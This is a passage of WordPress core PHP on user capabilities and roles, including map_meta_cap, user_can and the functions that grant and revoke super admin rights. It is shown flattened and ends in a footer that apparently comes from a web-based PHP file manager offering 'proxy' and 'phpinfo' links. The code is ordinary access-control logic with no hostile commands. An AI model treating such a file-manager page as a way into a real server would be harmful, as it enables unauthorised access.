and super admins. if ( defined( 'DISALLOW_UNFILTERED_HTML' ) && DISALLOW_UNFILTERED_HTML ) { $caps[] = 'do_not_allow'; } elseif ( is_multisite() && ! is_super_admin( $user_id ) ) { $caps[] = 'do_not_allow'; } else { $caps[] = 'unfiltered_html'; } break; case 'edit_files': case 'edit_plugins': case 'edit_themes': Disallow the file editors. if ( defined( 'DISALLOW_FILE_EDIT' ) && DISALLOW_FILE_EDIT ) { $caps[] = 'do_not_allow'; } elseif ( ! wp_is_file_mod_allowed( 'capability_edit_themes' ) ) { $caps[] = 'do_not_allow'; } elseif ( is_multisite() && ! is_super_admin( $user_id ) ) { $caps[] = 'do_not_allow'; } else { $caps[] = $cap; } break; case 'update_plugins': case 'delete_plugins': case 'install_plugins': case 'upload_plugins': case 'update_themes': case 'delete_themes': case 'install_themes': case 'upload_themes': case 'update_core': Disallow anything that creates, deletes, or updates core, plugin, or theme files. Files in uploads are excepted. if ( ! wp_is_file_mod_allowed( 'capability_update_core' ) ) { $caps[] = 'do_not_allow'; } elseif ( is_multisite() && ! is_super_admin( $user_id ) ) { $caps[] = 'do_not_allow'; } elseif ( 'upload_themes' === $cap ) { $caps[] = 'install_themes'; } elseif ( 'upload_plugins' === $cap ) { $caps[] = 'install_plugins'; } else { $caps[] = $cap; } break; case 'install_languages': case 'update_languages': if ( ! wp_is_file_mod_allowed( 'can_install_language_pack' ) ) { $caps[] = 'do_not_allow'; } elseif ( is_multisite() && ! is_super_admin( $user_id ) ) { $caps[] = 'do_not_allow'; } else { $caps[] = 'install_languages'; } break; case 'activate_plugins': case 'deactivate_plugins': case 'activate_plugin': case 'deactivate_plugin': $caps[] = 'activate_plugins'; if ( is_multisite() ) { update_, install_, and delete_ are handled above with is_super_admin(). $menu_perms = get_site_option( 'menu_items', array() ); if ( empty( $menu_perms['plugins'] ) ) { $caps[] = 'manage_network_plugins'; } } break; case 'resume_plugin': $caps[] = 'resume_plugins'; break; case 'resume_theme': $caps[] = 'resume_themes'; break; case 'delete_user': case 'delete_users': If multisite only super admins can delete users. if ( is_multisite() && ! is_super_admin( $user_id ) ) { $caps[] = 'do_not_allow'; } else { $caps[] = 'delete_users'; delete_user maps to delete_users. } break; case 'create_users': if ( ! is_multisite() ) { $caps[] = $cap; } elseif ( is_super_admin( $user_id ) || get_site_option( 'add_new_users' ) ) { $caps[] = $cap; } else { $caps[] = 'do_not_allow'; } break; case 'manage_links': if ( get_option( 'link_manager_enabled' ) ) { $caps[] = $cap; } else { $caps[] = 'do_not_allow'; } break; case 'customize': $caps[] = 'edit_theme_options'; break; case 'delete_site': if ( is_multisite() ) { $caps[] = 'manage_options'; } else { $caps[] = 'do_not_allow'; } break; case 'edit_term': case 'delete_term': case 'assign_term': if ( ! isset( $args[0] ) ) { translators: %s: Capability name. $message = __( 'When checking for the %s capability, you must always check it against a specific term.' ); _doing_it_wrong( __FUNCTION__, sprintf( $message, '<code>' . $cap . '</code>' ), '6.1.0' ); $caps[] = 'do_not_allow'; break; } $term_id = (int) $args[0]; $term = get_term( $term_id ); if ( ! $term || is_wp_error( $term ) ) { $caps[] = 'do_not_allow'; break; } $tax = get_taxonomy( $term->taxonomy ); if ( ! $tax ) { $caps[] = 'do_not_allow'; break; } if ( 'delete_term' === $cap && ( get_option( 'default_' . $term->taxonomy ) == $term->term_id || get_option( 'default_term_' . $term->taxonomy ) == $term->term_id ) ) { $caps[] = 'do_not_allow'; break; } $taxo_cap = $cap . 's'; $caps = map_meta_cap( $tax->cap->$taxo_cap, $user_id, $term_id ); break; case 'manage_post_tags': case 'edit_categories': case 'edit_post_tags': case 'delete_categories': case 'delete_post_tags': $caps[] = 'manage_categories'; break; case 'assign_categories': case 'assign_post_tags': $caps[] = 'edit_posts'; break; case 'create_sites': case 'delete_sites': case 'manage_network': case 'manage_sites': case 'manage_network_users': case 'manage_network_plugins': case 'manage_network_themes': case 'manage_network_options': case 'upgrade_network': $caps[] = $cap; break; case 'setup_network': if ( is_multisite() ) { $caps[] = 'manage_network_options'; } else { $caps[] = 'manage_options'; } break; case 'update_php': if ( is_multisite() && ! is_super_admin( $user_id ) ) { $caps[] = 'do_not_allow'; } else { $caps[] = 'update_core'; } break; case 'update_https': if ( is_multisite() && ! is_super_admin( $user_id ) ) { $caps[] = 'do_not_allow'; } else { $caps[] = 'manage_options'; $caps[] = 'update_core'; } break; case 'export_others_personal_data': case 'erase_others_personal_data': case 'manage_privacy_options': $caps[] = is_multisite() ? 'manage_network' : 'manage_options'; break; case 'create_app_password': case 'list_app_passwords': case 'read_app_password': case 'edit_app_password': case 'delete_app_passwords': case 'delete_app_password': $caps = map_meta_cap( 'edit_user', $user_id, $args[0] ); break; default: Handle meta capabilities for custom post types. global $post_type_meta_caps; if ( isset( $post_type_meta_caps[ $cap ] ) ) { return map_meta_cap( $post_type_meta_caps[ $cap ], $user_id, ...$args ); } Block capabilities map to their post equivalent. $block_caps = array( 'edit_blocks', 'edit_others_blocks', 'publish_blocks', 'read_private_blocks', 'delete_blocks', 'delete_private_blocks', 'delete_published_blocks', 'delete_others_blocks', 'edit_private_blocks', 'edit_published_blocks', ); if ( in_array( $cap, $block_caps, true ) ) { $cap = str_replace( '_blocks', '_posts', $cap ); } If no meta caps match, return the original cap. $caps[] = $cap; } * * Filters the primitive capabilities required of the given user to satisfy the * capability being checked. * * @since 2.8.0 * * @param string[] $caps Primitive capabilities required of the user. * @param string $cap Capability being checked. * @param int $user_id The user ID. * @param array $args Adds context to the capability check, typically * starting with an object ID. return apply_filters( 'map_meta_cap', $caps, $cap, $user_id, $args ); } * * Returns whether the current user has the specified capability. * * This function also accepts an ID of an object to check against if the capability is a meta capability. Meta * capabilities such as `edit_post` and `edit_user` are capabilities used by the `map_meta_cap()` function to * map to primitive capabilities that a user or role has, such as `edit_posts` and `edit_others_posts`. * * Example usage: * * current_user_can( 'edit_posts' ); * current_user_can( 'edit_post', $post->ID ); * current_user_can( 'edit_post_meta', $post->ID, $meta_key ); * * While checking against particular roles in place of a capability is supported * in part, this practice is discouraged as it may produce unreliable results. * * Note: Will always return true if the current user is a super admin, unless specifically denied. * * @since 2.0.0 * @since 5.3.0 Formalized the existing and already documented `...$args` parameter * by adding it to the function signature. * @since 5.8.0 Converted to wrapper for the user_can() function. * * @see WP_User::has_cap() * @see map_meta_cap() * * @param string $capability Capability name. * @param mixed ...$args Optional further parameters, typically starting with an object ID. * @return bool Whether the current user has the given capability. If `$capability` is a meta cap and `$object_id` is * passed, whether the current user has the given meta capability for the given object. function current_user_can( $capability, ...$args ) { return user_can( wp_get_current_user(), $capability, ...$args ); } * * Returns whether the current user has the specified capability for a given site. * * This function also accepts an ID of an object to check against if the capability is a meta capability. Meta * capabilities such as `edit_post` and `edit_user` are capabilities used by the `map_meta_cap()` function to * map to primitive capabilities that a user or role has, such as `edit_posts` and `edit_others_posts`. * * Example usage: * * current_user_can_for_blog( $blog_id, 'edit_posts' ); * current_user_can_for_blog( $blog_id, 'edit_post', $post->ID ); * current_user_can_for_blog( $blog_id, 'edit_post_meta', $post->ID, $meta_key ); * * @since 3.0.0 * @since 5.3.0 Formalized the existing and already documented `...$args` parameter * by adding it to the function signature. * @since 5.8.0 Wraps current_user_can() after switching to blog. * * @param int $blog_id Site ID. * @param string $capability Capability name. * @param mixed ...$args Optional further parameters, typically starting with an object ID. * @return bool Whether the user has the given capability. function current_user_can_for_blog( $blog_id, $capability, ...$args ) { $switched = is_multisite() ? switch_to_blog( $blog_id ) : false; $can = current_user_can( $capability, ...$args ); if ( $switched ) { restore_current_blog(); } return $can; } * * Returns whether the author of the supplied post has the specified capability. * * This function also accepts an ID of an object to check against if the capability is a meta capability. Meta * capabilities such as `edit_post` and `edit_user` are capabilities used by the `map_meta_cap()` function to * map to primitive capabilities that a user or role has, such as `edit_posts` and `edit_others_posts`. * * Example usage: * * author_can( $post, 'edit_posts' ); * author_can( $post, 'edit_post', $post->ID ); * author_can( $post, 'edit_post_meta', $post->ID, $meta_key ); * * @since 2.9.0 * @since 5.3.0 Formalized the existing and already documented `...$args` parameter * by adding it to the function signature. * * @param int|WP_Post $post Post ID or post object. * @param string $capability Capability name. * @param mixed ...$args Optional further parameters, typically starting with an object ID. * @return bool Whether the post author has the given capability. function author_can( $post, $capability, ...$args ) { $post = get_post( $post ); if ( ! $post ) { return false; } $author = get_userdata( $post->post_author ); if ( ! $author ) { return false; } return $author->has_cap( $capability, ...$args ); } * * Returns whether a particular user has the specified capability. * * This function also accepts an ID of an object to check against if the capability is a meta capability. Meta * capabilities such as `edit_post` and `edit_user` are capabilities used by the `map_meta_cap()` function to * map to primitive capabilities that a user or role has, such as `edit_posts` and `edit_others_posts`. * * Example usage: * * user_can( $user->ID, 'edit_posts' ); * user_can( $user->ID, 'edit_post', $post->ID ); * user_can( $user->ID, 'edit_post_meta', $post->ID, $meta_key ); * * @since 3.1.0 * @since 5.3.0 Formalized the existing and already documented `...$args` parameter * by adding it to the function signature. * * @param int|WP_User $user User ID or object. * @param string $capability Capability name. * @param mixed ...$args Optional further parameters, typically starting with an object ID. * @return bool Whether the user has the given capability. function user_can( $user, $capability, ...$args ) { if ( ! is_object( $user ) ) { $user = get_userdata( $user ); } if ( empty( $user ) ) { User is logged out, create anonymous user object. $user = new WP_User( 0 ); $user->init( new stdClass ); } return $user->has_cap( $capability, ...$args ); } * * Retrieves the global WP_Roles instance and instantiates it if necessary. * * @since 4.3.0 * * @global WP_Roles $wp_roles WordPress role management object. * * @return WP_Roles WP_Roles global instance if not already instantiated. function wp_roles() { global $wp_roles; if ( ! isset( $wp_roles ) ) { $wp_roles = new WP_Roles(); } return $wp_roles; } * * Retrieves role object. * * @since 2.0.0 * * @param string $role Role name. * @return WP_Role|null WP_Role object if found, null if the role does not exist. function get_role( $role ) { return wp_roles()->get_role( $role ); } * * Adds a role, if it does not exist. * * @since 2.0.0 * * @param string $role Role name. * @param string $display_name Display name for role. * @param bool[] $capabilities List of capabilities keyed by the capability name, * e.g. array( 'edit_posts' => true, 'delete_posts' => false ). * @return WP_Role|void WP_Role object, if the role is added. function add_role( $role, $display_name, $capabilities = array() ) { if ( empty( $role ) ) { return; } return wp_roles()->add_role( $role, $display_name, $capabilities ); } * * Removes a role, if it exists. * * @since 2.0.0 * * @param string $role Role name. function remove_role( $role ) { wp_roles()->remove_role( $role ); } * * Retrieves a list of super admins. * * @since 3.0.0 * * @global array $super_admins * * @return string[] List of super admin logins. function get_super_admins() { global $super_admins; if ( isset( $super_admins ) ) { return $super_admins; } else { return get_site_option( 'site_admins', array( 'admin' ) ); } } * * Determines whether user is a site admin. * * @since 3.0.0 * * @param int|false $user_id Optional. The ID of a user. Defaults to false, to check the current user. * @return bool Whether the user is a site admin. function is_super_admin( $user_id = false ) { if ( ! $user_id ) { $user = wp_get_current_user(); } else { $user = get_userdata( $user_id ); } if ( ! $user || ! $user->exists() ) { return false; } if ( is_multisite() ) { $super_admins = get_super_admins(); if ( is_array( $super_admins ) && in_array( $user->user_login, $super_admins, true ) ) { return true; } } else { if ( $user->has_cap( 'delete_users' ) ) { return true; } } return false; } * * Grants Super Admin privileges. * * @since 3.0.0 * * @global array $super_admins * * @param int $user_id ID of the user to be granted Super Admin privileges. * @return bool True on success, false on failure. This can fail when the user is * already a super admin or when the `$super_admins` global is defined. function grant_super_admin( $user_id ) { If global super_admins override is defined, there is nothing to do here. if ( isset( $GLOBALS['super_admins'] ) || ! is_multisite() ) { return false; } * * Fires before the user is granted Super Admin privileges. * * @since 3.0.0 * * @param int $user_id ID of the user that is about to be granted Super Admin privileges. do_action( 'grant_super_admin', $user_id ); Directly fetch site_admins instead of using get_super_admins(). $super_admins = get_site_option( 'site_admins', array( 'admin' ) ); $user = get_userdata( $user_id ); if ( $user && ! in_array( $user->user_login, $super_admins, true ) ) { $super_admins[] = $user->user_login; update_site_option( 'site_admins', $super_admins ); * * Fires after the user is granted Super Admin privileges. * * @since 3.0.0 * * @param int $user_id ID of the user that was granted Super Admin privileges. do_action( 'granted_super_admin', $user_id ); return true; } return false; } * * Revokes Super Admin privileges. * * @since 3.0.0 * * @global array $super_admins * * @param int $user_id ID of the user Super Admin privileges to be revoked from. * @return bool True on success, false on failure. This can fail when the user's email * is the network admin email or when the `$super_admins` global is defined. function revoke_super_admin( $user_id ) { If global super_admins override is defined, there is nothing to do here. if ( isset( $GLOBALS['super_admins'] ) || ! is_multisite() ) { return false; } * * Fires before the user's Super Admin privileges are revoked. * * @since 3.0.0 * * @param int $user_id ID of the user Super Admin privileges are being revoked from. do_action( 'revoke_super_admin', $user_id ); Directly fetch site_admins instead of using get_super_admins(). $super_admins = get_site_option( 'site_admins', array( 'admin' ) ); $user = get_userdata( $user_id ); if ( $user && 0 !== strcasecmp( $user->user_email, get_site_option( 'admin_email' ) ) ) { $key = array_search( $user->user_login, $super_admins, true ); if ( false !== $key ) { unset( $super_admins[ $key ] ); update_site_option( 'site_admins', $super_admins ); * * Fires after the user's Super Admin privileges are revoked. * * @since 3.0.0 * * @param int $user_id ID of the user Super Admin privileges were revoked from. do_action( 'revoked_super_admin', $user_id ); return true; } } return false; } * * Filters the user capabilities to grant the 'install_languages' capability as necessary. * * A user must have at least one out of the 'update_core', 'install_plugins', and * 'install_themes' capabilities to qualify for 'install_languages'. * * @since 4.9.0 * * @param bool[] $allcaps An array of all the user's capabilities. * @return bool[] Filtered array of the user's capabilities. function wp_maybe_grant_install_languages_cap( $allcaps ) { if ( ! empty( $allcaps['update_core'] ) || ! empty( $allcaps['install_plugins'] ) || ! empty( $allcaps['install_themes'] ) ) { $allcaps['install_languages'] = true; } return $allcaps; } * * Filters the user capabilities to grant the 'resume_plugins' and 'resume_themes' capabilities as necessary. * * @since 5.2.0 * * @param bool[] $allcaps An array of all the user's capabilities. * @return bool[] Filtered array of the user's capabilities. function wp_maybe_grant_resume_extensions_caps( $allcaps ) { Even in a multisite, regular administrators should be able to resume plugins. if ( ! empty( $allcaps['activate_plugins'] ) ) { $allcaps['resume_plugins'] = true; } Even in a multisite, regular administrators should be able to resume themes. if ( ! empty( $allcaps['switch_themes'] ) ) { $allcaps['resume_themes'] = true; } return $allcaps; } * * Filters the user capabilities to grant the 'view_site_health_checks' capabilities as necessary. * * @since 5.2.2 * * @param bool[] $allcaps An array of all the user's capabilities. * @param string[] $caps Required primitive capabilities for the requested capability. * @param array $args { * Arguments that accompany the requested capability check. * * @type string $0 Requested capability. * @type int $1 Concerned user ID. * @type mixed ...$2 Optional second and further parameters, typically object ID. * } * @param WP_User $user The user object. * @return bool[] Filtered array of the user's capabilities. function wp_maybe_grant_site_health_caps( $allcaps, $caps, $args, $user ) { if ( ! empty( $allcaps['install_plugins'] ) && ( ! is_multisite() || is_super_admin( $user->ID ) ) ) { $allcaps['view_site_health_checks'] = true; } return $allcaps; } return; Dummy gettext calls to get strings in the catalog. translators: User role for administrators. _x( 'Administrator', 'User role' ); translators: User role for editors. _x( 'Editor', 'User role' ); translators: User role for authors. _x( 'Author', 'User role' ); translators: User role for contributors. _x( 'Contributor', 'User role' ); translators: User role for subscribers. _x( 'Subscriber', 'User role' ); */
| ver. 1.4 |
Github
|
.
| PHP 8.3.23 | Генерация страницы: 0.06 |
proxy
|
phpinfo
|
Настройка